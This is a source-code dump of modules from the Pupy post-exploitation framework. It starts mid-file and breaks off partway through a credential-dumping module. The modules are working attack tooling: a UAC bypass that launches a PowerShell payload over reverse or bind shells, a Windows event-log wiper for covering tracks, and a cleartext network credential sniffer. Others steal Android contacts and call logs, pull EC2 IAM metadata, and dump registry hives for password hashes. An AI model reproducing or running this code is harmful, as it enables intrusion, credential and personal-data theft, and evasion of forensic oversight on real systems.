                        context['last_fobj'].write(u'\n]')
                        context['last_fobj'].close()

                    context['last_fobj'] = open(
                        dest, 'w+', encoding='utf-8')

                    context['last_fobj'].write(u'[\n')

                for record in from_tuple_deep(payload):
                    if is_first:
                        is_first = False
                    else:
                        context['last_fobj'].write(u',')

                    record_json = dumps(
                        record, indent=2, sort_keys=True,
                        default=json_default,
                        ensure_ascii=False
                    )

                    context['last_fobj'].write(record_json)

        def on_complete():
            if context['last_fobj']:
                context['last_fobj'].write(u']')
                context['last_fobj'].close()
                context['last_fobj'] = None

            if context['last_name']:
                self.success('Completed {}'.format(context['last_name']))
                context['last_name'] = None

                self.success('Dump completed')

            completion.set()

        self.terminate = addump(
            on_data, on_complete,
            args.realm, args.global_catalog,
            args.filter or args.target, not args.full
        )

        completion.wait()

    def bind(self, args):
        bind = self.client.remote('ad', 'bind', False)
        completion = Event()

        def on_data(payload):
            if isinstance(payload, tuple):
                self.info(List(payload[1], caption=payload[0]))
            else:
                self.info(payload)

        def on_completed(success, payload):
            try:
                if success:
                    self.success('Bound to server: {}'.format(payload))
                else:
                    self._show_exception(payload)
            finally:
                completion.set()

        self.terminate = bind(
            on_data, on_completed,
            args.realm, args.global_catalog,
            args.ldap_server, args.recv_timeout,
            args.domain, args.username, args.password,
            args.root
        )

        completion.wait()

    def interrupt(self):
        if self.terminate:
            self.terminate()
        else:
            raise NotImplementedError()


================================================
FILE: pupy/modules/alive.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="alive"

@config(cat="admin")
class alive(PupyModule):
    """ request to send keepalive packets on rpyc level """
    is_module=False

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="alive", description=cls.__doc__)
        cls.arg_parser.add_argument('-t', '--timeout', type=int, help='ping timeout')
        cls.arg_parser.add_argument('-i', '--interval', type=int, help='ping send interval')

    def run(self, args):
        try:
            interval, timeout = self.client.conn._conn.root.getconn().set_pings(
                args.interval, args.timeout
            )

            if interval is not None and timeout is not None:
                self.success('Interval: {}'.format(interval))
                self.success('Timeout:  {}'.format(timeout))
            else:
                self.success('Pings disabled')

        except Exception as e:
            self.error('Pings configuration is not supported ({})'.format(e))


================================================
FILE: pupy/modules/apps.py
================================================
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import print_function
from __future__ import absolute_import
from __future__ import division
from __future__ import unicode_literals
__class_name__="apps"

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

@config(cat="gather", compat=["android"])
class apps(PupyModule):
    """ to interact manage applications """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='apps', description=cls.__doc__)
        cls.arg_parser.add_argument('-a', '--get-all', action='store_true', help='get all installed package names')
        cls.arg_parser.add_argument('-d', '--get-all-detailed', action='store_true', help='get all applications installed with details')
        cls.arg_parser.add_argument('-c', '--contain', dest='contain', default=None, help='get all applications installed when package name contains the string given')

    def run(self, args):
        self.client.load_package("pupydroid.utils")
        self.client.load_package("pupydroid.apps")
        if args.get_all or args.get_all_detailed:
            self.success("Getting applications installed...")
            apps = self.client.conn.modules['pupydroid.apps'].getAllAps()
            self.success("{0} applications installed on the device".format(len(apps)))
            print("Applications installed:")
            if args.get_all_detailed:
                print("- Process name: The name of the process this application should run in")
                print("- Source dir: Full path to the base APK for this application")
                print("- Public source dir: Full path to the publicly available parts of sourceDir, including resources and manifest.")
                print("- Data dir: Full path to the default directory assigned to the package for its persistent data.")
                print("- Shared Lib Files: Paths to all shared libraries this application is linked against. ")
            for i, anApp in enumerate(apps):
                if args.get_all_detailed:
                    if args.contain is None or (args.contain is not None and args.contain in anApp['packageName']):
                        print("-"*30)
                        print("- Package name ({1}): {0}".format(anApp['packageName'], i))
                        print("- Process name      : {0}".format(anApp['processName']))
                        print("- Source dir        : {0}".format(anApp['sourceDir']))
                        print("- Public source dir : {0}".format(anApp['publicSourceDir']))
                        print("- Data dir          : {0}".format(anApp['dataDir']))
                        print("- Shared Lib Files  : {0}".format(anApp['sharedLibraryFiles']))
                        print("- Permissions       :")
                        for aPerm in anApp['permissions']:
                            print("   * {0}".format(aPerm))
                elif args.get_all:
                    print("[{0}] {1}".format(i, anApp['packageName']))


================================================
FILE: pupy/modules/become.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="Become"

@config(compat=['linux', 'posix'], cat="admin")
class Become(PupyModule):
    """ Become user """

    dependencies = ['become']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='users', description=cls.__doc__)
        action = cls.arg_parser.add_mutually_exclusive_group(required=True)
        action.add_argument('-u', '--user', help='Become user')
        action.add_argument('-r', '--restore', action='store_true', help='Restore previous user')

    def run(self, args):
        become = self.client.remote('become', 'become', False)
        restore = self.client.remote('become', 'restore', False)

        try:
            if args.restore:
                restore()
                self.success('Context restored')
            else:
                become(args.user)
                self.success('You became {}'.format(args.user))

        except Exception as e:
            self.error(str(e))


================================================
FILE: pupy/modules/beroot.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="Beroot"


@config(cat="admin", compat=["linux", "windows"])
class Beroot(PupyModule):
    """Check for privilege escalation path"""

    dependencies = {
        'linux': [
            'beroot'
        ],
        'windows': [
            'pyexpat', 'xml', '_elementtree', 'xml.etree', 'win32net', 'beroot'
        ]
    }

    @classmethod
    def init_argparse(cls):
        """
        Check the project on github: https://github.com/AlessandroZ/BeRoot
        """
        header = '|====================================================================|\n'
        header += '|                                                                    |\n'
        header += '|                        The BeRoot Project                          |\n'
        header += '|                                                                    |\n'
        header += '|                          ! BANG BANG !                             |\n'
        header += '|                                                                    |\n'
        header += '|====================================================================|\n\n'

        cls.arg_parser = PupyArgumentParser(prog="beroot", description=header + cls.__doc__)
        cls.arg_parser.add_argument("-p", "--password", action="store", default=None, help="if no NOPASSWD in sudoers, "
                                                                                           "sudo -ll needs user "
                                                                                           "password (Linux only)")

    def run(self, args):

        run_beroot = self.client.remote('beroot.run', 'run')
        if self.client.is_windows():
            results = run_beroot()
            if results:
                for r in results:
                    self.windows_output(r)
            else:
                self.log('Nothing found.')
        else:
            results = run_beroot(args.password, to_print=False)
            self.log(results)

    def windows_output(self, output):
        st = '\n################ {category} ################\n'.format(category=output['category'])
        if output.get('error'):
            st += output.get('error')
        else:
            for desc, result in output.get('results'):
                if result:
                    st += '\n# %s\n' % desc
                    st += '%s\n' % result

        self.log(st)


================================================
FILE: pupy/modules/bypassuac.py
================================================
# -*- coding: utf-8 -*-
# Bypassuac techniques use WinPwnage tool
# https://github.com/rootm0s/WinPwnage

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import os

if sys.version_info.major > 2:
    xrange = range

from pupy.modules.lib.windows import powerloader

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.network.lib.rpc.utils.classic import upload
from pupy.network.lib.convcompat import shlex

import random
import string

__class_name__ = 'BypassUAC'


@config(compat="windows", category="privesc")
class BypassUAC(PupyModule):
    '''
    Be carefull, most of bypass methods are detected by AV...
    '''

    dependencies = [
        'winpwnage.core', 'winpwnage.functions.uac',
        'pupwinutils.security', 'powerloader'
    ]

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='bypassuac', description=cls.__doc__
        )

        cls.arg_parser.add_argument(
            '-l', dest='scan', action='store_true', default=False,
            help="List all possible techniques for this host"
        )
        cls.arg_parser.add_argument(
            '-e', dest='exe', default=None,
            help="Custom exe to execute as admin"
        )
        cls.arg_parser.add_argument(
            '-r', dest='restart', action='store_true', default=False,
            help="Restart current executable as admin"
        )
        cls.arg_parser.add_argument(
            '-m', dest='method',
            help="Should be an ID, get the list scanning which "
            "methods are possible (-l)"
        )

    def parse_result(self, result, print_result=True, get_method_id=True):
        '''
        Parse result returned by WinPwnage
        Return the best method id if possible
        '''

        func = {
            't': self.log,
            'ok': self.success,
            'error': self.error,
            'info': self.info,
            'warning': self.warning
        }

        preferred_methods = self.client.pupsrv.config.get(
            'bypassuac', 'preferred_methods'
        ).split(',')

        method_id = []
        for tag, message in result:
            if tag in func:
                if print_result:
                    func[tag](message)
                if tag == 'ok' and get_method_id:
                    method_id.append(message.split()[0])

        if get_method_id:
            for p in preferred_methods:
                if p in method_id:
                    return p

    def launch_scan(self, print_result=True):
        '''
        Check all possible methods found on the target to bypass uac
        '''

        scanner = self.client.remote(
            'winpwnage.core.scanner', 'scanner', False
        )

        result = scanner(
            uac=True, persist=False, elevate=False, execute=False
        ).start()

        return self.parse_result(result, print_result)

    def run(self, args):
        can_get_admin_access = self.client.remote(
            'pupwinutils.security', 'can_get_admin_access', False
        )

        # Check if a UAC bypass can be done
        if not can_get_admin_access():
            self.error('Your are not on the local administrator group.')
            return

        if args.scan:
            self.launch_scan()
            return

        if not args.scan and not args.method:
            method = self.launch_scan(print_result=False)
            if not method:
                self.error(
                    'Get the list of possible methods (-l) '
                    'and bypass uac using -m <id>'
                )
                return
        else:
            method = args.method

        # TO CHANGE:
        # A way should be found to automatically generate a dll
        # (ex: using a generic dll which launch a bat script)

        if method in ('11', '12', '13', '14'):
            self.warning(
                'This technique needs to upload a dll. '
                'It has been temporary disabled to avoid AV alerts'
            )
            return

        # Weird error, root cause not found yet
        if method in '07':
            self.warning(
                'This technique does not work with custom exe, '
                'only work with cmd.exe'
            )
            return

        # Check if it is a bind shell
        is_bind_launcher = False
        launcher_type = self.client.desc['launcher']
        address_port = self.client.desc['address']

        # Case of a pupy bind shell if ps1 mode is used
        # (no reverse connection possible)
        if launcher_type == 'bind':
            self.info(
                'The current pupy launcher is using a BIND connection. '
                'It is listening on {0} on the target'.format(
                    address_port
                )
            )
            is_bind_launcher = True

        # ------------------ Prepare the payload ------------------

        rjoin = self.client.remote('os.path', 'join')
        risfile = self.client.remote('os.path', 'isfile')
        tempdir = self.client.remote('tempfile', 'gettempdir', False)

        random_name = ''.join([
            random.choice(
                string.ascii_letters + string.digits
            ) for n in xrange(6)
        ])

        local_file = ''
        remote_file = ''
        completion = None

        if not args.exe and not args.restart:
            self.info('Using powershell payload')

            client_conf = None

            if is_bind_launcher:
                self.info('BIND launcher is on the target.')
                self.info(
                    'Be careful, you have to choose a port which '
                    'is not used on the target!'
                )

                listening_port = -1
                while listening_port == -1:
                    try:
                        listening_port = int(input(
                            '[?] Give me the listening port '
                            'to use on the target: '
                        ))
                    except Exception as e:
                        self.warning(
                            'You have to give me a valid port. '
                            'Try again ({})'.format(e)
                        )

                listening_address = address_port.split(':')[0]
                bind_address_and_port = '{0}:{1}'.format(
                    listening_address, listening_port
                )

                self.info(
                    "Payload used for bypassing UAC will be "
                    "configured for listening on {0} on the target".format(
                        bind_address_and_port))

                bind_conf = self.client.get_conf()

                # Modify the listening port on the conf. If it is not
                # modified, the ps1 script will listen on the same port
                # as the initial pupy launcher on the target

                bind_conf['launcher_args'][bind_conf[
                    'launcher_args'].index('--port') + 1] = str(listening_port)
                client_conf = bind_conf
            else:
                self.info(
                    'Reverse connection mode: Configuring client with'
                    'the same configuration as the (parent) launcher on '
                    'the target'
                )

                client_conf = self.client.get_conf()

            cmd, completion = powerloader.serve(
                self, client_conf
            )

        # use a custom exe to execute as admin
        elif args.exe:
            cmd_args = shlex.split(args.exe, posix=False)
            arg0, argv = cmd_args[0], cmd_args[1:]
            argv = ' '.join(
                repr(x) if ' ' in x else x for x in argv
            )

            if risfile(arg0):
                self.info('Using remote cmd ({})'.format(args.exe))
                cmd = args.exe

            elif os.path.exists(arg0):
                self.info('Using custom executable (local)')
                local_file = args.exe
                remoteFileName = '{random_name}.{ext}'.format(
                    random_name=random_name, ext='exe'
                )
                remote_file = rjoin(tempdir(), remoteFileName)
                cmd = remote_file + ' ' + argv
            else:
                self.error('Executable file not found: {}'.format(arg0))
                return

        # restart the current executable as admin
        else:
            self.info('Using current executable')
            exe = self.client.desc['exec_path'].split('\\')
            if exe[len(exe)-1].lower() in ('powershell.exe', 'cmd.exe') and \
                    exe[1].lower() == 'windows':

                self.warning(
                    'It seems that your current process '
                    'is %s' % self.client.desc['exec_path']
                )
                self.warning('It is not recommended to restart it')

                return

            cmd = self.client.desc['exec_path']

        # upload payload (ps1 or custom exe)
        if not args.restart and local_file:
            self.info('Uploading to %s' % remote_file)
            upload(
                self.client.conn, local_file, remote_file,
                chunk_size=1*1024*1024
            )

        # ------------------ Ready to launch the bypassuac ------------------

        self.info('Bypass uac could take few seconds, be patient...')

        bypass_uac = self.client.remote(
            'winpwnage.core.scanner', 'function', False
        )

        result = bypass_uac(
            uac=True, persist=False
        ).run(id=method, payload=cmd)

        if not result:
            self.error('Nothing done, check if the id is on the list')
        else:
            self.parse_result(result, get_method_id=False)

        if completion:
            if not completion.is_set():
                self.info('Waiting for a powerloader status updates')
                completion.wait()
        elif not args.exe and not args.restart:
            # Powershell could be longer to execute
            self.info(
                'Waiting for a connection (take few seconds, 1 min max)...'
            )

        # TO DO (remove ps1 file)
        # ros.remove(remote_file) # not work if removed too fast

        # Remove generated ps1 file
        if not args.exe and not args.restart and local_file:
            os.remove(local_file)


================================================
FILE: pupy/modules/call.py
================================================
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import datetime

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__="call"


@config(cat="gather", compat=["android"])
class call(PupyModule):
    """ to get call details """

    INCOMING_TYPE = "1"
    OUTGOING_TYPE = "2"
    MISSED_TYPE = "3"

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='call', description=cls.__doc__)
        cls.arg_parser.add_argument('-a', '--get-all', action='store_true', help='get all call details')
        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will store targtet's postions (default: %(default)s)")

    def run(self, args):
        self.client.load_package("pupydroid.utils")
        self.client.load_package("pupydroid.call")
        path = getLocalAndroidPath(self.client, args)
        if args.get_all:
            self.success("Getting call details...")
            callDetails = self.client.conn.modules['pupydroid.call'].getCallDetails()
            self.success("{0} call details got. Saving...".format(len(callDetails)))
            completePath = os.path.join(path, 'callDetails.txt')
            f = open(completePath, 'w', 1)
            for aCall in callDetails:
                date = datetime.datetime.fromtimestamp(int(aCall['callDate'][:-3])).strftime('%Y-%m-%d %H:%M:%S')
                if aCall['callTypeC'] == self.OUTGOING_TYPE:
                    callType = "Outgoing"
                elif aCall['callTypeC'] == self.INCOMING_TYPE:
                    callType = "Incoming"
                elif aCall['callTypeC'] == self.MISSED_TYPE:
                    callType = "Missed"
                else:
                    callType = "unknown"
                f.write("{0}: {1} at {2} during {3} secds\n".format(callType, aCall['phNum'], date, aCall['callDuration']))
            f.close()
            self.success("Call details saved in {0}".format(completePath))

def getLocalAndroidPath(client, args):
    '''
    Returns the current local path for saving data locally
    Create folder if not exists
    '''
    localPath = os.path.join(args.localOutputFolder, "{0}-{1}".format(client.conn.modules['pupydroid.utils'].getAndroidID(), client.desc['user']))
    if not os.path.exists(localPath):
        # logging.info("Creating {0} folder locally".format(localPath))
        os.makedirs(localPath)
    return localPath


================================================
FILE: pupy/modules/cat.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Pygment, Hex
from pupy.pupylib.PupyCompleter import remote_path_completer
from pygments.lexers import guess_lexer, guess_lexer_for_filename
from pupy.network.lib.convcompat import is_binary, DEFAULT_MB_ENCODING

if sys.version_info.major > 2:
    basestring = str

__class_name__ = 'cat'


@config(cat="admin")
class cat(PupyModule):
    """ show contents of a file """
    is_module = False
    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='cat', description=cls.__doc__
        )
        cls.arg_parser.add_argument('-N', type=int, help='Tail lines')
        cls.arg_parser.add_argument('-n', type=int, help='Head lines')

        grep = cls.arg_parser.add_mutually_exclusive_group()
        grep.add_argument('-G', help='Grep sequence')
        grep.add_argument('-g', help='Grep out sequence')

        cls.arg_parser.add_argument(
            '-E', type=str, help='Set encoding of text file'
        )
        cls.arg_parser.add_argument(
            '-C', '--color', action='store_true',
            help='Enable coloring (pygments)'
        )
        cls.arg_parser.add_argument(
            'path', type=str, completer=remote_path_completer
        )

    def print_content(self, args, content):
        lexer = None

        if is_binary(content):
            content = Hex(content, args.color)

        elif args.color:
            if lexer is None and '*' not in args.path:
                try:
                    lexer = guess_lexer_for_filename(args.path, content)
                except:
                    pass

            if lexer is None and not args.N:
                try:
                    lexer = guess_lexer(content)
                except:
                    pass

            if lexer:
                content = Pygment(lexer, content)

        self.log(content)

    def run(self, args):
        try:
            cat = self.client.remote('pupyutils.basic_cmds', 'cat', False)

            grep = None
            filter_out = False
            if args.G:
                grep = args.G
            elif args.g:
                grep = args.g
                filter_out = True

            results = cat(
                args.path, args.N, args.n, grep, args.E, filter_out
            )

            if not results:
                return

            for result in results:
                self.print_content(args, result)

        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )


================================================
FILE: pupy/modules/cd.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_dirs_completer

if sys.version_info.major > 2:
    basestring = str

__class_name__="cd"


@config(cat="admin")
class cd(PupyModule):
    """ change directory """
    is_module=False

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="cd", description=cls.__doc__)
        cls.arg_parser.add_argument(
            'path', type=str, nargs='?',
            help='path of a specific directory',
            completer=remote_dirs_completer
        )

    def run(self, args):
        try:
            cd = self.client.remote('pupyutils.basic_cmds', 'cd', False)
            r = cd(args.path)
            if r:
                self.log(r)
        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )


================================================
FILE: pupy/modules/check_vm.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser

__class_name__ = 'CheckVM'


@config(category="gather", compatibilities=['windows', 'linux', 'darwin'])
class CheckVM(PupyModule):
    """ check if running on Virtual Machine """

    dependencies = ['checkvm']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(
            prog='CheckVM', description=cls.__doc__
        )

    def run(self, args):
        if self.client.is_windows():
            check_vm = self.client.remote('checkvm')
            vms = check_vm.Check_VM().run()
            if vms:
                for vm in vms:
                    self.success(vm)
            else:
                self.error('No Virtual Machine found')

        elif self.client.is_linux():
            checkvm = self.client.remote('checkvm', 'checkvm', False)
            vm = checkvm()
            if vm:
                self.success('This appears to be a %s virtual machine' % vm)
            else:
                self.success('This does not appear to be a virtual machine')

        elif self.client.is_darwin():
            checkvm = self.client.remote('checkvm', 'checkvm', False)
            self.info('Be patient, could take a while')
            vm = checkvm()
            if vm:
                self.success('This appears to be a %s virtual machine' % vm)
            else:
                self.success('This does not appear to be a virtual machine')


================================================
FILE: pupy/modules/clear_logs.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
import subprocess
import threading

__class_name__="ClearLogs"

@config(cat="admin", compat=["windows"])
class ClearLogs(PupyModule):
    """ clear event logs """

    dependencies = ["pupyutils.safepopen"]
    pipe = None
    terminate = threading.Event()

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="clear_logs", description=cls.__doc__)

    def run(self, args):
        if self.client.desc['intgty_lvl'] != "High" and self.client.desc['intgty_lvl'] != "System":
            self.error('You need admin privileges to clear logs')
            return

        cmdenv = {
            'stderr': (subprocess.STDOUT),
            'universal_newlines': False,
            'shell': True
        }

        cmdargs = [
            ['System', 'wevtutil cl System'],
            ['Security', 'wevtutil cl Security'],
            ['Application', 'wevtutil cl Application']
        ]

        for cmd in cmdargs:

            self.pipe = self.client.conn.modules[
                'pupyutils.safepopen'
            ].SafePopen(cmd[1], **cmdenv)

            close_event = threading.Event()

            def on_read(data):
                self.stdout.write(data)

            def on_close():
                close_event.set()

            self.pipe.execute(on_close, on_read)
            while not (self.terminate.is_set() or close_event.is_set()):
                close_event.wait()

            if self.pipe.returncode == 0:
                self.success('Event log {} successfully deleted'.format(cmd[0]))
            else:
                self.error('Error removing {} event log: {}'.format(cmd[0], self.pipe.returncode))


================================================
FILE: pupy/modules/cloudinfo.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyOutput import Pygment

import sys

from pygments import lexers
import json

if sys.version_info.major > 2:
    unicode = str

__class_name__="CloudInfo"


@config(cat="gather")
class CloudInfo(PupyModule):
    """ Retrieve EC2/DigitalOcean metadata """

    dependencies = ['cloudinfo']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="cloudinfo", description=cls.__doc__)

    def run(self, args):
        cloudinfo = self.client.remote('cloudinfo', 'metadata')

        cloud, metadata = cloudinfo()

        if not cloud:
            self.error('Unknown cloud or non-cloud environment')
            return

        self.success('Cloud: {}'.format(cloud))

        formatted_json = json.dumps(metadata, indent=1, sort_keys=True)

        self.log(
            Pygment(lexers.JsonLexer(), unicode(formatted_json, 'UTF-8'))
        )

        if cloud == 'EC2' and 'meta-data' in metadata and 'iam' in metadata['meta-data']:
            iam = metadata['meta-data']['iam']
            if 'info' in iam and 'security-credentials' in iam and iam['info']['Code'] == 'Success':
                arn = iam['info']['InstanceProfileArn'].split('/', 1)[-1]
                self.success('IAM: {}'.format(arn))


================================================
FILE: pupy/modules/contacts.py
================================================
# -*- coding: utf-8 -*-
#Author: @bobsecq
#Contributor(s):

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import os
import copy

from io import open

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.utils.common import getLocalAndroidPath

__class_name__="contacts"


@config(cat="gather", compat=["android"])
class contacts(PupyModule):
    """ to get contacts """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='contacts', description=cls.__doc__)
        cls.arg_parser.add_argument('-a', '--get-all', action='store_true', help='get all contacts')
        cls.arg_parser.add_argument('-output-folder', dest='localOutputFolder', default='output/', help="Folder which will store targtet's postions (default: %(default)s)")

    def run(self, args):
        self.client.load_package("pupydroid.contacts")
        self.client.load_package("pupydroid.utils")
        path = getLocalAndroidPath(localFolder=args.localOutputFolder, androidID=self.client.conn.modules['pupydroid.utils'].getAndroidID(), userName=self.client.desc['user'])
        if args.get_all:
            self.success("Getting contacts...")
            contacts = self.client.conn.modules['pupydroid.contacts'].getAllContacts()
            self.success("Contacts stolen successfully")
            self.__saveContacts__(contacts=contacts, completePath=os.path.join(path, 'contacts.txt'))

    def __saveContacts__(self, contacts, completePath):
        '''
        '''
        #I don't know why but I have very (very) better perfs on my computer when I does a copy of the list before to use it...
        #Without the copy, it saves 1 contact by second only -:( Very very strange.
        contacts2 = copy.copy(contacts)
        contacts = contacts2
        self.success("Saving contacts {0} contacts...".format(len(contacts)))
        f = open(completePath, 'w', 1)
        for aContact in contacts:
            self.info("Saving the contact: {0}".format(aContact))
            f.write("********** id: {0} **********\n".format(aContact['id']))
            f.write("name: {0}\n".format(aContact['name']))
            for aPhoneNb,aPhoneNbType in zip(aContact['phoneNbs'],aContact['phoneNbsTypes']):
                f.write("phone ({0}): {1}\n".format(aPhoneNbType, aPhoneNb))
            for anEmail in aContact['emails']:
                f.write("email: {0}\n".format(anEmail))
            for aPostalAddress in aContact['postalAddresses']:
                f.write("postalAddr: {0}\n".format(aPostalAddress))
        f.close()
        self.success("Contacts saved in {0}".format(completePath))


================================================
FILE: pupy/modules/cp.py
================================================
# -*- coding: utf-8 -*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys

from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.PupyCompleter import remote_path_completer, remote_dirs_completer

if sys.version_info.major > 2:
    basestring = str

__class_name__="cp"


@config(cat="admin")
class cp(PupyModule):
    """ copy file or directory """
    is_module=False

    dependencies = ['pupyutils.basic_cmds']

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog="cp", description=cls.__doc__)
        cls.arg_parser.add_argument(
            'src', type=str, action='store', completer=remote_path_completer,
        )

        cls.arg_parser.add_argument(
            'dst', type=str, action='store',
            completer=remote_dirs_completer
        )

    def run(self, args):
        try:
            cp = self.client.remote('pupyutils.basic_cmds', 'cp')
            r = cp(args.src, args.dst)
            if r:
                self.log(r)

        except Exception as e:
            self.error(
                ' '.join(x for x in e.args if isinstance(x, basestring))
            )


================================================
FILE: pupy/modules/credcap.py
================================================
# -*- coding: utf-8 -*-
# Thanks to Dan McInerney for its net-creds project
# Github: https://github.com/DanMcInerney/net-creds

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import (
    config, PupyModule, PupyArgumentParser,
    QA_DANGEROUS
)
import os
import datetime

from io import open

__class_name__="Credcap"

@config(cat="gather", compat=["linux", "windows"])
class Credcap(PupyModule):
    """
        Sniffs cleartext passwords from interface
    """
    unique_instance = True
    dependencies=['netifaces', 'gzip', 'BaseHTTPServer', 'pupyutils.netcreds']
    qa = QA_DANGEROUS

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='credcap', description=cls.__doc__)
        cls.arg_parser.add_argument("-i", metavar="INTERFACE", dest='interface', default=None, help="Choose an interface (optional)")
        cls.arg_parser.add_argument("-f", metavar="IP", dest='filterip', default=None, help="Do not sniff packets from this IP address; -f 192.168.0.4")
        cls.arg_parser.add_argument('action', choices=['start', 'stop', 'dump'])

    def run(self, args):
        if args.action=="start":

            # Load full scapy
            self.client.load_package('scapy', honor_ignore=False, force=True)
            credcap_start = self.client.remote('pupyutils.netcreds', 'credcap_start', False)

            r = credcap_start(args.interface, args.filterip)
            if r == 'not_root':
                self.error("Needs root privileges to be started")
            elif not r:
                self.error("Network credentials sniffer is already started")
            else:
                self.success("Network credentials sniffer started !")

        elif args.action=="dump":
            try:
                os.makedirs(os.path.join("data","credcap"))
            except Exception:
                pass

            credcap_dump = self.client.remote('pupyutils.netcreds', 'credcap_dump')
            data = credcap_dump()

            if data is None:
                self.error("Network credentials sniffer has not been started yet")

            elif not data:
                self.warning("No network credentials recorded")

            else:
                data = '\n'.join(data)
                data += '\n'

                # remove color before writting into the file
                W = '\033[0m'  # white (normal)
                T = '\033[93m'  # tan
                data_no_color=data.replace(W, '').replace(T, '')
                filepath=os.path.join("data", "credcap","creds_"+self.client.short_name()+"_"+str(datetime.datetime.now()).replace(" ","_").replace(":","-")+".log")
                self.success("Dumping recorded credcap in %s"%filepath)
                with open(filepath, 'w') as f:
                    f.write(data_no_color)

                self.log(data)

        elif args.action=="stop":
            credcap_stop = self.client.remote('pupyutils.netcreds', 'credcap_start')
            credcap_stop()
            self.success("Network credentials sniffer is stopped")


================================================
FILE: pupy/modules/creddump.py
================================================
# -*- coding: utf-8 -*-

# Author: DeveloppSoft - developpsoft.github.io

# Changelogs:
# 26 May 2016
#  init (not working, 'System' process block the download of the hives...
#
# 28 May 2016
#  save the hives with 'reg save' before downloading

# TODO
# saves the hives with a random name
# do not write the saves on the target

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
from pupy.pupylib.PupyModule import config, PupyModule, PupyArgumentParser
from pupy.pupylib.utils.credentials import Credentials
from pupy.modules.lib.utils.shell_exec import shell_exec

from pupy.network.lib.rpc.utils.classic import download

import os
import os.path
import ntpath

from io import open

# CredDump imports
from pupy.modules.lib.windows.creddump.win32.domcachedump import dump_hashes
from pupy.modules.lib.windows.creddump.addrspace import HiveFileAddressSpace
from pupy.modules.lib.windows.creddump.win32.hashdump import get_bootkey, get_hbootkey
from pupy.modules.lib.windows.creddump.win32.hashdump import get_user_hashes, get_user_keys, get_user_name
from pupy.modules.lib.windows.creddump.win32.hashdump import empty_lm, empty_nt
from pupy.modules.lib.windows.creddump.win32.lsasecrets import get_file_secrets

__class_name__="CredDump"


@config(cat="creds", compatibilities=['windows', 'linux', 'darwin'], tags=['creds',
    'credentials', 'password', 'gather', 'hives'])
class CredDump(PupyModule):
    """ download the hives from a remote windows system and dump creds """

    @classmethod
    def init_argparse(cls):
        cls.arg_parser = PupyArgumentParser(prog='hive', description=cls.__doc__)

    def run(self, args):
        config = self.client.pupsrv.config
        self.db = Credentials(client=self.client, config=self.config)
        self.rep = os.path.join(config.get_folder('creds'), self.client.short_name())

        try:
            os.makedirs(self.rep)
        except Exception:
            pass

        if self.client.is_windows():
